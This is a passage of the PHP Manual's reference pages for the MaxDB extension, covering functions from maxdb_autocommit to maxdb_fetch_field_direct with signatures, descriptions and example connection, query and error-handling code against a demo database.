   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
   exit();
}

/* turn autocommit on */
maxdb_autocommit($link, TRUE);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

See Also

  • maxdb_commit() - Commits the current transaction
  • maxdb_rollback() - Rolls back current transaction

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_bind_param

  • « maxdb_autocommit
  • maxdb_bind_result »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_bind_param

maxdb_bind_param

(PECL maxdb 1.0)

maxdb_bind_param — Alias of maxdb_stmt_bind_param()

Description

This function is an alias of: maxdb_stmt_bind_param()

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_bind_result

  • « maxdb_bind_param
  • maxdb_change_user »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_bind_result

maxdb_bind_result

(PECL maxdb 1.0)

maxdb_bind_result — Alias of maxdb_stmt_bind_result()

Description

This function is an alias of: maxdb_stmt_bind_result().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Changes the user of the specified database connection

  • « maxdb_bind_result
  • maxdb_character_set_name »
  • PHP Manual
  • MaxDB Functions
  • Changes the user of the specified database connection

maxdb_change_user

maxdb::change_user

(PECL maxdb >= 1.0)

maxdb_change_user -- maxdb::change_user — Changes the user of the specified database connection

Description

Procedural style

bool maxdb_change_user ( resource $link , string $user , string $password , string $database )

Object oriented style

bool maxdb::change_user ( string $user , string $password , string $database )

maxdb_change_user() is used to change the user of the specified database connection as given by the link parameter and to set the current database to that specified by the database parameter.

In order to successfully change users a valid username and password parameters must be provided and that user must have sufficient permissions to access the desired database. If for any reason authorization fails, the current user authentication will remain.

Note:

Using this command will always cause the current database connection to behave as if was a completely new database connection, regardless of if the operation was completed successfully. This reset includes performing a rollback on any active transactions, closing all temporary tables, and unlocking all locked tables.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php

/* connect database test */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT * FROM dual")) {
   $row = $result->fetch_row();
   printf("Result: %s\n", $row[0]);
   $result->free();
}

/* reset all and select a new database */
if (!$maxdb->change_user("DBADMIN", "SECRET", "DEMODB")) {
  printf("Database not running\n");
} else {
  printf("Database running\n");
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT * FROM dual")) {
   $row = maxdb_fetch_row($result);
   printf("Result: %s\n", $row[0]);
   maxdb_free_result($result);
}

/* reset all and select a new database */
if (!maxdb_change_user($link, "DBADMIN", "SECRET", "DEMODB")) {
  printf("Database not running\n");
} else {
  printf("Database running\n");
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Result: a
Database running

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_select_db() - Selects the default database for database queries

User Contributed Notes

There are no user contributed notes for this page.


Returns the default character set for the database connection

  • « maxdb_change_user
  • maxdb_client_encoding »
  • PHP Manual
  • MaxDB Functions
  • Returns the default character set for the database connection

maxdb_character_set_name

maxdb::character_set_name

(PECL maxdb >= 1.0)

maxdb_character_set_name -- maxdb::character_set_name — Returns the default character set for the database connection

Description

Procedural style

string maxdb_character_set_name ( resource $link )

Object oriented style

string maxdb::character_set_name ( void )

Returns the current character set for the database connection specified by the link parameter.

Return Values

The default character set for the current connection, either ascii or unicode.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Print current character set */
$charset = $maxdb->character_set_name();
printf ("Current character set is %s\n", $charset);

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Print current character set */
$charset = maxdb_character_set_name($link);
printf ("Current character set is %s\n",$charset);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Current character set is ascii

See Also

  • maxdb_client_encoding() - Alias of maxdb_character_set_name
  • maxdb_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_character_set_name

  • « maxdb_character_set_name
  • maxdb_close_long_data »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_character_set_name

maxdb_client_encoding

(PECL maxdb 1.0)

maxdb_client_encoding — Alias of maxdb_character_set_name()

Description

This function is an alias of: maxdb_character_set_name().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_close_long_data

  • « maxdb_client_encoding
  • maxdb_close »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_close_long_data

maxdb_close_long_data

maxdb::close_long_data

(PECL maxdb >= 1.0)

maxdb_close_long_data -- maxdb::close_long_data — Alias of maxdb_stmt_close_long_data()

Description

This function is an alias of: maxdb_stmt_close_long_data().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Closes a previously opened database connection

  • « maxdb_close_long_data
  • maxdb_commit »
  • PHP Manual
  • MaxDB Functions
  • Closes a previously opened database connection

maxdb_close

maxdb::close

(PECL maxdb >= 1.0)

maxdb_close -- maxdb::close — Closes a previously opened database connection

Description

Procedural style

bool maxdb_close ( resource $link )

Object oriented style

bool maxdb::close ( void )

The maxdb_close() function closes a previously opened database connection specified by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_init() - Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_real_connect() - Opens a connection to a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.


Commits the current transaction

  • « maxdb_close
  • maxdb_connect_errno »
  • PHP Manual
  • MaxDB Functions
  • Commits the current transaction

maxdb_commit

maxdb::commit

(PECL maxdb >= 1.0)

maxdb_commit -- maxdb::commit — Commits the current transaction

Description

Procedural style

bool maxdb_commit ( resource $link )

Object oriented style

bool maxdb::commit ( void )

Commits the current transaction for the database connection specified by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* set autocommit to off */
$maxdb->autocommit(FALSE);

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query("CREATE TABLE mycustomer LIKE hotel.customer");

/* Insert some values */
$maxdb->query("INSERT INTO mycustomer VALUES (3000,'Mrs','Jenny','Porter','10580','1340 N.Ash Street, #3')");
$maxdb->query("INSERT INTO mycustomer VALUES (3100,'Mr','Peter','Brown','48226','1001 34th Str., APT.3')");

/* commit transaction */
$maxdb->commit();

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* set autocommit to off */
maxdb_autocommit($link, FALSE);

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE mycustomer LIKE hotel.customer");

/* Insert some values */
maxdb_query($link, "INSERT INTO mycustomer VALUES (3000,'Mrs','Jenny','Porter','10580','1340 N.Ash Street, #3')");
maxdb_query($link, "INSERT INTO mycustomer VALUES (3100,'Mr','Peter','Brown','48226','1001 34th Str., APT.3')");

/* commit transaction */
maxdb_commit($link);

/* close connection */
maxdb_close($link);
?>

The above examples produces no output.

See Also

  • maxdb_autocommit() - Turns on or off auto-commiting database modifications
  • maxdb_rollback() - Rolls back current transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code from last connect call

  • « maxdb_commit
  • maxdb_connect_error »
  • PHP Manual
  • MaxDB Functions
  • Returns the error code from last connect call

maxdb_connect_errno

(PECL maxdb >= 1.0)

maxdb_connect_errno — Returns the error code from last connect call

Description

int maxdb_connect_errno ( void )

The maxdb_connect_errno() function will return the last error code number for last call to maxdb_connect(). If no errors have occurred, this function will return zero.

Return Values

An error code value for the last call to maxdb_connect(), if it failed. zero means no error occurred.

Examples

Example #1 maxdb_connect_errno sample

<?php
$link = maxdb_connect("localhost", "XXXXXXXX", "YYYYYYYYY");

if (!$link) {
   printf("Can't connect to localhost. Errorcode: %d\n", maxdb_connect_errno());
}
?>

The above example will output something similar to:

PHP Warning:  maxdb_connect(): -4008 POS(1) Unknown user name/password combination [08004] <...>
Can't connect to localhost. Errorcode: -4008

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_connect_error() - Returns a string description of the last connect error
  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last connect error

  • « maxdb_connect_errno
  • maxdb_connect »
  • PHP Manual
  • MaxDB Functions
  • Returns a string description of the last connect error

maxdb_connect_error

(PECL maxdb >= 1.0)

maxdb_connect_error — Returns a string description of the last connect error

Description

string maxdb_connect_error ( void )

The maxdb_connect_error() function is identical to the corresponding maxdb_connect_errno() function in every way, except instead of returning an integer error code the maxdb_connect_error() function will return a string representation of the last error to occur for the last maxdb_connect() call. If no error has occurred, this function will return an empty string.

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 maxdb_connect_error sample

<?php

$link = maxdb_connect("localhost", "nonexisting_user", "");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
}
?>

The above example will output something similar to:

PHP Warning:  maxdb_connect(): -4008 POS(1) Unknown user name/password combination <...>
Can't connect to localhost. Error: POS(1) Unknown user name/password combination

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_connect_errno() - Returns the error code from last connect call
  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.


Open a new connection to the MaxDB server

  • « maxdb_connect_error
  • maxdb_data_seek »
  • PHP Manual
  • MaxDB Functions
  • Open a new connection to the MaxDB server

maxdb_connect

maxdb::__construct

(PECL maxdb >= 1.0)

maxdb_connect -- maxdb::__construct — Open a new connection to the MaxDB server

Description

Procedural style

resource maxdb_connect ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

Object oriented style

maxdb::__construct ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

The maxdb_connect() function attempts to open a connection to the MaxDB Server running on host which can be either a host name or an IP address. Passing the string "localhost" to this parameter, the local host is assumed. If successful, the maxdb_connect() will return an resource representing the connection to the database or FALSE on failure.

The username and password parameters specify the username and password under which to connect to the MaxDB server. If the password is not provided (the NULL value is passed), the MaxDB server will attempt to authenticate the user against the maxdb.default_pw in php.ini.

The dbname parameter if provided will specify the default database to be used when performing queries. If not provied, the entry maxdb.default_db in php.ini is used.

The port and socket parameters are ignored for the MaxDB server.

Return Values

Returns a resource which represents the connection to a MaxDB Server or FALSE if the connection failed.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("Host information: %s\n", $maxdb->host_info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("Host information: %s\n", maxdb_get_host_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Host information: localhost

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the result pointer to an arbitary row in the result

  • « maxdb_connect
  • maxdb_debug »
  • PHP Manual
  • MaxDB Functions
  • Adjusts the result pointer to an arbitary row in the result

maxdb_data_seek

maxdb_result::data_seek

(PECL maxdb >= 1.0)

maxdb_data_seek -- maxdb_result::data_seek — Adjusts the result pointer to an arbitary row in the result

Description

Procedural style

bool maxdb_data_seek ( resource $result , int $offset )

Object oriented style

bool maxdb_result::data_seek ( int $offset )

The maxdb_data_seek() function seeks to an arbitrary result pointer specified by the offset in the result set represented by result. The offset parameter must be between zero and the total number of rows minus one (0..maxdb_num_rows() - 1).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER BY name";
if ($result = $maxdb->query( $query)) {

   /* seek to row no. 10 */
   $result->data_seek(10);

   /* fetch row */
   $row = $result->fetch_row();

   printf ("City: %s  State: %s\n", $row[0], $row[1]);

   /* free result set*/
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER BY name";

if ($result = maxdb_query($link, $query)) {

   /* seek to row no. 400 */
   maxdb_data_seek($result, 10);

   /* fetch row */
   $row = maxdb_fetch_row($result);

   printf ("City: %s  State: %s\n", $row[0], $row[1]);

   /* free result set*/
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

City: Irvine  State: CA

See Also

  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_fetch_row() - Get a result row as an enumerated array
  • maxdb_num_rows() - Gets the number of rows in a result

User Contributed Notes

There are no user contributed notes for this page.


Performs debugging operations

  • « maxdb_data_seek
  • maxdb_disable_reads_from_master »
  • PHP Manual
  • MaxDB Functions
  • Performs debugging operations

maxdb_debug

(PECL maxdb >= 1.0)

maxdb_debug — Performs debugging operations

Description

void maxdb_debug ( string $debug )

The maxdb_debug() can be used to trace the SQLDBC communication. The following strings can be used as a parameter to maxdb_debug():

  • TRACE SHORT ON|OFF - Enables/disables method call trace.
  • TRACE LONG ON|OFF - Enables/disables method argument and detail debug trace.
  • TRACE PACKET ON|OFF|<size> - Enables/disables packet trace, limiting the size of the traced object to the specified number of bytes, or 1000 if no size is specified.
  • TRACE SQL ON|OFF - Enables/disables high level api trace.
  • TRACE TIMESTAMP ON|OFF - Enables/disables a timestamp prefix on each line that is traced.
  • TRACE SIZE <size> - Limits the size of the trace file to <size> bytes, at least 8192 bytes are required.

Return Values

maxdb_debug() doesn't return any value.

Examples

Example #1 Procedural style

<?php

maxdb_debug("trace packet 200");

$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* close connection */
maxdb_close($link);
?>

The above example produces no output.

User Contributed Notes

There are no user contributed notes for this page.


Disable reads from master

  • « maxdb_debug
  • maxdb_disable_rpl_parse »
  • PHP Manual
  • MaxDB Functions
  • Disable reads from master

maxdb_disable_reads_from_master

maxdb::disable_reads_from_master

(PECL maxdb >= 1.0)

maxdb_disable_reads_from_master -- maxdb::disable_reads_from_master — Disable reads from master

Description

Procedural style

bool maxdb_disable_reads_from_master ( resource $link )

Object oriented style

void maxdb::disable_reads_from_master ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Disable RPL parse

  • « maxdb_disable_reads_from_master
  • maxdb_dump_debug_info »
  • PHP Manual
  • MaxDB Functions
  • Disable RPL parse

maxdb_disable_rpl_parse

(PECL maxdb >= 1.0)

maxdb_disable_rpl_parse — Disable RPL parse

Description

bool maxdb_disable_rpl_parse ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Dump debugging information into the log

  • « maxdb_disable_rpl_parse
  • maxdb_embedded_connect »
  • PHP Manual
  • MaxDB Functions
  • Dump debugging information into the log

maxdb_dump_debug_info

(PECL maxdb >= 1.0)

maxdb_dump_debug_info — Dump debugging information into the log

Description

bool maxdb_dump_debug_info ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to an embedded MaxDB server

  • « maxdb_dump_debug_info
  • maxdb_enable_reads_from_master »
  • PHP Manual
  • MaxDB Functions
  • Open a connection to an embedded MaxDB server

maxdb_embedded_connect

(PECL maxdb >= 1.0)

maxdb_embedded_connect — Open a connection to an embedded MaxDB server

Description

resource maxdb_embedded_connect ([ string $dbname ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Enable reads from master

  • « maxdb_embedded_connect
  • maxdb_enable_rpl_parse »
  • PHP Manual
  • MaxDB Functions
  • Enable reads from master

maxdb_enable_reads_from_master

(PECL maxdb >= 1.0)

maxdb_enable_reads_from_master — Enable reads from master

Description

bool maxdb_enable_reads_from_master ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Enable RPL parse

  • « maxdb_enable_reads_from_master
  • maxdb_errno »
  • PHP Manual
  • MaxDB Functions
  • Enable RPL parse

maxdb_enable_rpl_parse

(PECL maxdb >= 1.0)

maxdb_enable_rpl_parse — Enable RPL parse

Description

bool maxdb_enable_rpl_parse ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code for the most recent function call

  • « maxdb_enable_rpl_parse
  • maxdb_error »
  • PHP Manual
  • MaxDB Functions
  • Returns the error code for the most recent function call

maxdb_errno

maxdb::errno

(PECL maxdb >= 1.0)

maxdb_errno -- maxdb::errno — Returns the error code for the most recent function call

Description

Procedural style

int maxdb_errno ( resource $link )

Object oriented style

int $maxdb->errno;

The maxdb_errno() function will return the last error code for the most recent MaxDB function call that can succeed or fail with respect to the database link defined by the link parameter. If no errors have occurred, this function will return zero.

Return Values

An error code value for the last call, if it failed. zero means no error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!$maxdb->query("SELECT xxx FROM hotel.city")) {
   printf("Errorcode: %d\n", $maxdb->errno);
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!maxdb_query($link, "SELECT xxx FROM hotel.city")) {
   printf("Errorcode: %d\n", maxdb_errno($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

PHP Warning:  maxdb_query(): -4005 POS(8) Unknown column name:XXX [42000] <...>
Errorcode: -4005

See Also

  • maxdb_connect_errno() - Returns the error code from last connect call
  • maxdb_connect_error() - Returns a string description of the last connect error
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last error

  • « maxdb_errno
  • maxdb_escape_string »
  • PHP Manual
  • MaxDB Functions
  • Returns a string description of the last error

maxdb_error

maxdb::error

(PECL maxdb >= 1.0)

maxdb_error -- maxdb::error — Returns a string description of the last error

Description

Procedural style

string maxdb_error ( resource $link )

Object oriented style

string $maxdb->error;

The maxdb_error() function is identical to the corresponding maxdb_errno() function in every way, except instead of returning an integer error code the maxdb_error() function will return a string representation of the last error to occur for the database connection represented by the link parameter. If no error has occurred, this function will return an empty string.

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!$maxdb->query("SELECT xxx FROM hotel.city")) {
   printf("Errormessage: %s\n", $maxdb->error);
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!maxdb_query($link, "SELECT xxx FROM hotel.city")) {
   printf("Errormessgae: %s\n", maxdb_error($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

PHP Warning:  maxdb_query(): -4005 POS(8) Unknown column name:XXX [42000]
Errormessgae: POS(8) Unknown column name:XXX

See Also

  • maxdb_connect_errno() - Returns the error code from last connect call
  • maxdb_connect_error() - Returns a string description of the last connect error
  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_real_escape_string

  • « maxdb_error
  • maxdb_execute »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_real_escape_string

maxdb_escape_string

(PECL maxdb 1.0)

maxdb_escape_string — Alias of maxdb_real_escape_string()

Description

This function is an alias of: maxdb_real_escape_string().

User Contributed Notes

There are no user contributed notes for this page.


Alias of maxdb_stmt_execute

  • « maxdb_escape_string
  • maxdb_fetch_array »
  • PHP Manual
  • MaxDB Functions
  • Alias of maxdb_stmt_execute

maxdb_execute

(PECL maxdb 1.0)

maxdb_execute — Alias of maxdb_stmt_execute()

Description

This function is an alias of: maxdb_stmt_execute().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an associative, a numeric array, or both

  • « maxdb_execute
  • maxdb_fetch_assoc »
  • PHP Manual
  • MaxDB Functions
  • Fetch a result row as an associative, a numeric array, or both

maxdb_fetch_array

maxdb_result::fetch_array

(PECL maxdb >= 1.0)

maxdb_fetch_array -- maxdb_result::fetch_array — Fetch a result row as an associative, a numeric array, or both

Description

Procedural style

mixed maxdb_fetch_array ( resource $result [, int $resulttype ] )

Object oriented style

mixed maxdb_result::fetch_array ([ int $resulttype ] )

Returns an array that corresponds to the fetched row or NULL if there are no more rows for the resultset represented by the result parameter.

maxdb_fetch_array() is an extended version of the maxdb_fetch_row() function. In addition to storing the data in the numeric indices of the result array, the maxdb_fetch_array() function can also store the data in associative indices, using the field names of the result set as keys.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

If two or more columns of the result have the same field names, the last column will take precedence and overwrite the earlier data. In order to access multiple columns with the same name, the numerically indexed version of the row must be used.

The optional second argument resulttype is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MAXDB_ASSOC, MAXDB_ASSOC_UPPER, MAXDB_ASSOC_LOWER, MAXDB_NUM, or MAXDB_BOTH. By default the maxdb_fetch_array() function will assume MAXDB_BOTH, which is a combination of MAXDB_NUM and MAXDB_ASSOC for this parameter.

By using the MAXDB_ASSOC constant this function will behave identically to the maxdb_fetch_assoc(), while MAXDB_NUM will behave identically to the maxdb_fetch_row() function. The final option MAXDB_BOTH will create a single array with the attributes of both.

By using the MAXDB_ASSOC_UPPER constant, the behaviour of this function is identical to the use of MAXDB_ASSOC except the array index of a column is the fieldname in upper case.

By using the MAXDB_ASSOC_LOWER constant, the behaviour of this function is identical to the use of MAXDB_ASSOC except the array index of a column is the fieldname in lower case.

Return Values

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";
$result = $maxdb->query($query);

/* numeric array */
$row = $result->fetch_array(MAXDB_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = $result->fetch_array(MAXDB_ASSOC);
printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);

/* associative and numeric array */
$row = $result->fetch_array(MAXDB_BOTH);
printf ("%s (%s)\n", $row[0], $row["STATE"]);

/* free result set */
$result->close();

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";
$result = maxdb_query($link, $query);

/* numeric array */
$row = maxdb_fetch_array($result, MAXDB_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = maxdb_fetch_array($result, MAXDB_ASSOC);
printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);

/* associative and numeric array */
$row = maxdb_fetch_array($result, MAXDB_BOTH);
printf ("%s (%s)\n", $row[0], $row["STATE"]);

/* free result set */
maxdb_free_result($result);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)

See Also

  • maxdb_fetch_assoc() - Fetch a result row as an associative array
  • maxdb_fetch_row() - Get a result row as an enumerated array
  • maxdb_fetch_resource()

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an associative array

  • « maxdb_fetch_array
  • maxdb_fetch_field_direct »
  • PHP Manual
  • MaxDB Functions
  • Fetch a result row as an associative array

maxdb_fetch_assoc

maxdb_result::fetch_assoc

(PECL maxdb >= 1.0)

maxdb_fetch_assoc -- maxdb_result::fetch_assoc — Fetch a result row as an associative array

Description

Procedural style

array maxdb_fetch_assoc ( resource $result )

Object oriented style

array maxdb_result::fetch_assoc ( void )

Returns an associative array that corresponds to the fetched row or NULL if there are no more rows.

The maxdb_fetch_assoc() function is used to return an associative array representing the next row in the result set for the result represented by the result parameter, where each key in the array represents the name of one of the result set's columns.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using maxdb_fetch_row() or add alias names.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Return Values

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch associative array */
   while ($row = $result->fetch_assoc()) {
       printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch associative array */
   while ($row = maxdb_fetch_assoc($result)) {
       printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

See Also

  • maxdb_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_row() - Get a result row as an enumerated array
  • maxdb_fetch_resource()

User Contributed Notes

There are no user contributed notes for this page.


Fetch meta-data for a single field

  • « maxdb_fetch_assoc
  • maxdb_fetch_field »
  • PHP Manual
  • MaxDB Functions
  • Fetch meta-data for a single field

maxdb_fetch_field_direct

maxdb_result::fetch_field_direct

(PECL maxdb >= 1.0)

maxdb_fetch_field_direct -- maxdb_result::fetch_field_direct — Fetch meta-data for a single field

Description

Procedural style

mixed maxdb_fetch_field_direct ( resource $result , int $fieldnr )

Object oriented style

mixed maxdb_result::fetch_field_direct ( int $fieldnr )

maxdb_fetch_field_direct() returns an resource which contains field definition information from specified resultset. The value of fieldnr must be in the range from 0 to number of fields - 1.

Return Values

Returns an resource which contains field definition information or FALSE if no field information for specified fieldnr is available.

Object attributes
